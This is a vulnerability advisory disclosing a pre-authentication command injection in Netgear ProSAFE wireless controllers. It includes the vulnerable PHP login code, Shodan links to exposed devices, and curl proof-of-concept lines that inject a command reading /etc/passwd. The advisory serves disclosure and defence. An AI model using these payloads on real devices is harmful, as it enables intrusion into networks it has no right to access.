################################################################################ METADATA DETAILS Title: ACSA-2015-002 Timeline: 16 Oct 2015 - [Researcher] discovery 02 Dec 2015 - [Researcher] sends vendor notification at security@netgear.com, public disclosure set for 28 Dec 2015 08 Dec 2015 - [Researcher] sends vendor notification at security@netgear.com with all the details an PoC, public disclosure set for 28 Dec 2015 16 Dec 2015 - [Vendor] replies requesting "a standard 90-days grace period before public disclosure" and to fill "NETGEAR Product Vulnerability Reporting Submission Form.xlsx" 17 Dec 2015 - [Researcher] replies with filled "ACSA-2015-002 - NETGEAR Product Vulnerability Reporting Submission Form.xlsx", agrees to 90-days grace period, asks vendor to created CVE numbers and notify/acknowledge the researcher 12 Jan 2016 - [Researcher] follows-up with the vendor on the status and CVE numbers 12 Jan 2016 - [Vendor] notifies researcher its team is unable to reproduce this vulnerability and "NETGEAR's Wireless Controller dev team would like to request a conference call with you and the technical team lead to discuss the findings which they are not able to reproduce" 04 Mar 2016 - [Researcher] sends screencast to the vendor on how to reproduce the vulnerability, reminds about 90-days grace period and public disclosure 31 Mar 2016 17 Mar 2016 - Expires 90-days grace period 31 Mar 2016 - [Researcher] proceeds to public disclosure Author: Andrei Costin, "FIRMWARE.RE" project andrei@firmware.re Vulnerability discovered using "FIRMWARE.RE" platform/service 0. Vulnerability: Pre-auth Remote Command Execution/Injection (RCE/RCI) in the web interface can allow attackers to effectively gaining root (webserver user) access on the device 1. Vulnerable products: Netgear ProSAFE WC9500 Netgear ProSafe WC7600 Netgear ProSafe WC7520 *** Netgear ProSAFE WC9500 High Capacity Wireless Controller ~ 4000-5000 USDS The ProSAFE WC9500 High Capacity Wireless Controller is a scalable, high performance WLAN solution for centralized management of up to 200 ProSAFE wireless access points in a single wireless controller. Three WC9500 Wireless Controller can stack into a single cluster to support up to 600 Access Points, with a fourth WC9500 acting as a redundant backup. The supported AP’s extends from entry level single band WNAP210/WNAP320/WN370 APs to dual band business class WNDAP360/350, and premium grade 3x3 WNDAP660/620, and outdoor WND930 AP’s, and is also 802.11ac ready. The WC9500 Wireless Controller is easy to configure with an intuitive user interface and setup wizard, comprehensive dashboard and monitoring statistics. Flexible enough to support a few dozen laptops to several thousand tablets, it delivers enterprise grade functionality for mid to large-sized organizations, but without the cost and complexity of big IT. The WC9500 comes fully equipped with enterprise grade features such as comprehensive wireless security (WPA, WPA2, Radius, LDAP, Rogue AP protection), guest access, and full networking functionality including embedded DHCP server, VLAN on wired and wireless networks support, to full Quality of Service d ifferentiation. Additionally, with no recurring annual license fees: Simply pay as you grow. *** Netgear ProSafe WC7600 Wireless LAN Controller ~ 2000-3000 USD The NETGEAR ProSAFE WC7600 Premium Wireless Controller is a fully featured enterprise class, high performance and secured wireless controller capable of managing up to 150 Access Points and 6,000 concurrent clients per cluster. The WC7600 delivers ultra-fast Access Point discovery, Layer 2 and Layer 3 fast roaming, multiple 10 Gigabit connectivity, a captive portal for guest access, fully distributed architecture, and ease of configuration and management. The NETGEAR ProSAFE WC7600 Premium Wireless Controller manages the full line of NETGEAR ProSAFE Access Points, from entry level single band APs (WNAP210 and WNAP320), business class dual band APs (WNDAP350 and WNDAP360), high performance 3x3:450Mbps per radio dual band selectable and concurrent APs (WNDAP620 and WNDAP660), to specialized in-wall mounted APs (WN370), all with a single click of a mouse. Unlike other Wireless systems that are costly, complex and cumbersome to deploy, the WC7600 wireless controller is ideal for K-12 education, hospitality, and healthcare deployments. Designed with simplicity in mind for management and ease of use, it offers enterprise grade functionality and capability for small to mid-sized organizations, without the cost and complexity of big IT. *** Netgear ProSafe WC7520 20-AP Wireless Controller ~ 1000-1700 USD The NETGEAR ProSafe 20-AP Wireless Controller WC7520 offers a high-performance and fully-featured Wireless LAN architecture to meet the demands of medium-sized businesses, schools, and hospitals with thousands of users. Focusing on ease-of-use, the WC7520 Controller simplifies wireless deployments and network management with best-in-class wireless reliability, coverage, and performance. The scalable WC7520 Controller enables businesses to grow their wireless network as needed with a dramatic return on investment, with optional licenses that support their changing needs. Via licensing upgrades, the ProSafe Wireless Controller scales up to 50 access points (AP). For larger deployments, the WC7520 Controller is stackable up to three units, supporting up to 150-APs, including controller redundancy. Meeting the next generation needs of larger installations, the WC7520 Controller delivers central wireless management, integrated wireless mobility, robust top-end security and rich converged services such as L2/L3 fast roaming, guest access captive portal and Voice over Wi-Fi support. Built to last, the WC7520 Controller is backed by a Lifetime Warranty and delivers enterprise-class connectivity and secure wireless LAN functionality. *** 1.1 Is it for Home / Business / Service Provider, is it a Router, Wifi, Camera, Storage, etc Business / Enterprise / Service Provider 1.2. Vulnerable firmware: The latest firmware of each product (as of 16 Oct 2015) was tested to be vulnerable. 2. What are the requirements to attack the affected products? Being able to ping the affected device and open it's web interface (192.168.1.1 or 192.168.1.254) Being connected to the Ethernet or WiFi medium of the product, i.e.: - if WiFi requires WLAN authentication must first WLAN-authenticate; - if WiFi is open or Ethernet LAN is accessible, then there are no other requirements then to be able to access the device web interface (192.168.0.1 or 192.168.1.254) 2.1 WWW/WAN interfaces - does it mean that any device of this sort one can find using Shodan on the Internet, one can attack? Yes. https://www.shodan.io/search?query=WC7520 https://www.shodan.io/search?query=WC7600 https://www.shodan.io/search?query=WC9500 2.2 Any particular configuration required? No. 2.3 Is the default (factory reset) version of the product affected? Unknown, but most likely yes. 2.4 Is there a configuration change that can make the product unaffected? (turning off UPnP for example?) No. 3. Regarding the "Pre Auth OS Command Injection" what are the requirements for this one? - Being able to ping the affected device and open it's web interface (192.168.1.1 or 192.168.1.254) 3.1 What commands can be injected? Any. See below for a full list of commands/executables present on the affected systems. 3.2 Can parameters to this command be provided? Yes. 3.3 Is there any restrictions on the command line "characters", for example one can only provide alpha numeric characters? No restrictions as far as tested and analyzed. ################################################################################ TECHNICAL DETAILS The affected systems perform the login of web interface users using the "login_handler.php" module. The "login_handler.php" module calls the "doLogin()" function within the "/include/scripts/login_menu.js". The doLogin() function is a simple AJAX call wrapper as follows: function doLogin() { new ajaxRequest().sendRequest("auth_user", $H($("login_form").serialize(true)).toJSON(), handleLoginResp); return false; } The AJAX requests reach the "do_login" function in the "common.php" module, the place where is the root cause of the vulnerability. The start of the "do_login" function in the "common.php" module looks as follows: function do_login() { /*Assignment operation happening instead of conditional check which is not valid. * Moreover i don't know why this if statment is written here even before a value is assigned to $user_type * variable. Currently removing this statment have solved the issue of mutliplea admin user login. */ /*if($user_type = validate_session_info(true)) { return 0; }*/ $retval = 0; $session_file_name = "/tmp/session_".$_SERVER["SERVER_ADDR"].".bin"; $url_enc_str = rawurlencode(stripslashes($_POST["jsonData"])); system("/wnc/bin/json_cli \"".($_POST["reqMethod"]=="session_force_auth_user"?"force_auth_user":$_POST["reqMethod"])."\" \"".$url_enc_str."\"", $retval); //Error code 253 (Not supported method) and 254 (Invalid format) are returned from json cli, if the arguments are incorrect if($retval == 0 || $retval == 253 || $retval == 254) { return 1; } We can see there is a "system()" PHP call to "/wnc/bin/json_cli" where the command line is created by simple unsanitized concatenation. In particular, this part, i.e., the ternary operator ($_POST["reqMethod"]=="session_force_auth_user"?"force_auth_user":$_POST["reqMethod"]) of the command line concatenation is where the attack occurs. The attacker controls the POST request. By supplying a POST input called "reqMethod" that is not equal to "session_force_auth_user" AND which contains the command to be injected, the attacker controlled command call will be concatenated to the system call by the second part of the ternary operator, i.e., :$_POST["reqMethod"]. ################################################################################ POC DETAILS The PoC to trigger command execution is as follows, where the command to be injected is 'cat /etc/passwd': curl --data 'reqMethod=json_cli_reqMethod" "json_cli_jsonData"; cat "/etc/passwd' http://wc9500/login_handler.php curl --data 'reqMethod=json_cli_reqMethod" "json_cli_jsonData"; cat "/etc/passwd' http://wc7600/login_handler.php curl --data 'reqMethod=json_cli_reqMethod" "json_cli_jsonData"; cat "/etc/passwd' http://wc7520/login_handler.php ################################################################################ QUICK FIX Sanitize parameters passed to the "system("/wnc/bin/json_cli...")" call. ################################################################################ SOFTWARE ENVIRONMENT DETAILS WC9500 Latest FW version: 5.1.0.17 Kernel-space: Linux "2.6.35.6 SMP mod_unload x86-64 64BIT LSB" User-space: BusyBox v1.2.1 (2015.09.18-07:36+0000) multi-call binary /bin addgroup cat dd domainname grep login mknod nice ps sed ssh stty tracepath6 usleep adduser chgrp delgroup echo gunzip ls mktemp nisdomainname pwd setpci ssh-add su traceroute6 vi arping chmod deluser egrep gzip lsmod more pidof rm sftp ssh-agent sync true watch ash chown df false hostname lspci mount ping rmdir sh ssh-keygen tar umount wncinit busybox cp dmesg fgrep kill microperl mv ping6 run-parts sleep ssh-keyscan touch uname ypdomainname date dnsdomainname getopt ln mkdir netstat pipe_progress scp slogin stat tracepath uncompress zcat /sbin arp fdisk fsck.ext3 hdparm ifstat klogd mke2fs modinfo pivot_root reboot routel rtstat swapon tc ctstat freeramdisk genl hwclock init lnstat mkfs.ext2 modprobe plipconfig rmmod rtacct slattach start-stop-daemon switch_root udhcpc depmod fsck getty ifcfg insmod logread mkfs.ext3 nameif poweroff route rtmon ss sulogin sysctl vconfig e2fsck fsck.ext2 halt ifconfig ip losetup mkswap nstat rc routef rtpr sshd swapoff syslogd /usr/bin [ awk cal cmp deallocvt dumpleases fold fuser id less mkfifo nslookup patch reset sort tee time tty wc whoami [[ basename chvt cpu-load diff env free head install logger nc od printf rx strace telnet top uniq wget xargs ar bunzip2 cksum crontab dirname expr ftpget hexdump iozone md5sum net-load openvt readlink seq strings test tr unzip which yes arping bzcat clear cut du find ftpput hostid killall mesg nohup passwd renice sha1sum tail tftp traceroute uptime who /usr/sbin brctl chroot crond ethtool httpd inetd mii-tool tcpdump telnetd udhcpd ################################################################################ WC7600 Latest FW version: 5.1.0.17 Kernel-space: Linux "2.6.35.6 SMP mod_unload x86-64 64BIT LSB" User-space: BusyBox v1.2.1 (2015.09.21-05:54+0000) multi-call binary /bin addgroup cat dd domainname grep login mknod nice ps sed ssh stty tracepath6 usleep adduser chgrp delgroup echo gunzip ls mktemp nisdomainname pwd setpci ssh-add su traceroute6 vi arping chmod deluser egrep gzip lsmod more pidof rm sftp ssh-agent sync true watch ash chown df false hostname lspci mount ping rmdir sh ssh-keygen tar umount wncinit busybox cp dmesg fgrep kill microperl mv ping6 run-parts sleep ssh-keyscan touch uname ypdomainname date dnsdomainname getopt ln mkdir netstat pipe_progress scp slogin stat tracepath uncompress zcat /sbin arp fdisk fsck.ext3 hdparm ifstat klogd mke2fs modinfo pivot_root reboot routel rtstat swapon tc ctstat freeramdisk genl hwclock init lnstat mkfs.ext2 modprobe plipconfig rmmod rtacct slattach start-stop-daemon switch_root udhcpc depmod fsck getty ifcfg insmod logread mkfs.ext3 nameif poweroff route rtmon ss sulogin sysctl vconfig e2fsck fsck.ext2 halt ifconfig ip losetup mkswap nstat rc routef rtpr sshd swapoff syslogd /usr/bin [ awk cal cmp deallocvt dumpleases fold fuser id less mkfifo nslookup patch reset sort tee time tty wc whoami [[ basename chvt cpu-load diff env free head install logger nc od printf rx strace telnet top uniq wget xargs ar bunzip2 cksum crontab dirname expr ftpget hexdump iozone md5sum net-load openvt readlink seq strings test tr unzip which yes arping bzcat clear cut du find ftpput hostid killall mesg nohup passwd renice sha1sum tail tftp traceroute uptime who /usr/sbin brctl chroot crond ethtool httpd inetd mii-tool tcpdump telnetd udhcpd ################################################################################ WC7520 Latest FW version: 2.5.0.35 Kernel-space: Linux "2.6.27.7-Cavium-Octeon SMP mod_unload OCTEON 64BIT MIPS64 rel2 version 1 LSB" User-space: BusyBox v1.2.1 (2015.04.22-12:18+0000) multi-call binary /bin addgroup cat dd domainname grep login mknod nice pipe_progress scp slogin stat tracepath uncompress zcat adduser chgrp delgroup echo gunzip ls mktemp nisdomainname ps sed ssh stty tracepath6 usleep arping chmod deluser egrep gzip lsmod more opentftpd pwd setpci ssh-add su traceroute6 vi ash chown df false hostname lspci mount pidof rm sftp ssh-agent sync true watch busybox cp dmesg fgrep kill microperl mv ping rmdir sh ssh-keygen tar umount wncinit busybox date dnsdomainname getopt ln mkdir netstat ping6 run-parts sleep ssh-keyscan touch uname ypdomainname /sbin arp fdisk fsck.ext2 halt ifconfig klogd mke2fs mkswap nameif poweroff rmmod sshd sulogin switch_root udhcpc depmod freeramdisk fsck.ext3 hdparm init logread mkfs.ext2 modinfo pivot_root rc route swapoff sysctl vconfig e2fsck fsck getty hwclock insmod losetup mkfs.ext3 modprobe plipconfig reboot slattach start-stop-daemon swapon syslogd /usr/bin [ cal deallocvt expr fold install lockstat-test nandwrite oct-linux-jtg readlink strings top wget [[ chvt diff find free iozone logger nc oct-linux-mdio renice sumtool tr which ar cksum dirname flashcp ftl_check jffs2dump md5sum net-load od reset tail traceroute who arping clear docfdisk flash_erase ftl_format gdbserver killall mesg nftldump oncpu rx tee tty whoami awk cmp doc_loadbios flash_eraseall ftpget head ldd mkfifo nftl_format openvt seq telnet uniq xargs basename cpu-load du flash_info ftpput hexdump less mkfs.jffs2 nohup passwd sha1sum test unzip yes bunzip2 crontab dumpleases flash_lock fuser hostid locale mtd_debug nslookup patch sort tftp uptime bzcat cut env flash_unlock gdb id localedef nanddump oct-linux-identify printf strace time wc /usr/sbin brctl chroot crond ctstat ethtool httpd ifcfg ifstat inetd ip lnstat mii-tool nstat routef routel rtacct rtmon rtpr rtstat ss tc tcpdump telnetd udhcpd ################################################################################ About the author/project: Firmware.RE is part of the Firmware Genome Project. Firmware.RE is a free online service that: - unpacks, scans and analyzes almost any firmware package and facilitates the quick detection of vulnerabilities, backdoors and all kinds of embedded malware. - facilitates firmware mounting, modification, loading and emulation. - facilitates firmware vulnerability and backdoor discovery. - helps secure your embedded and internet-of-things devices.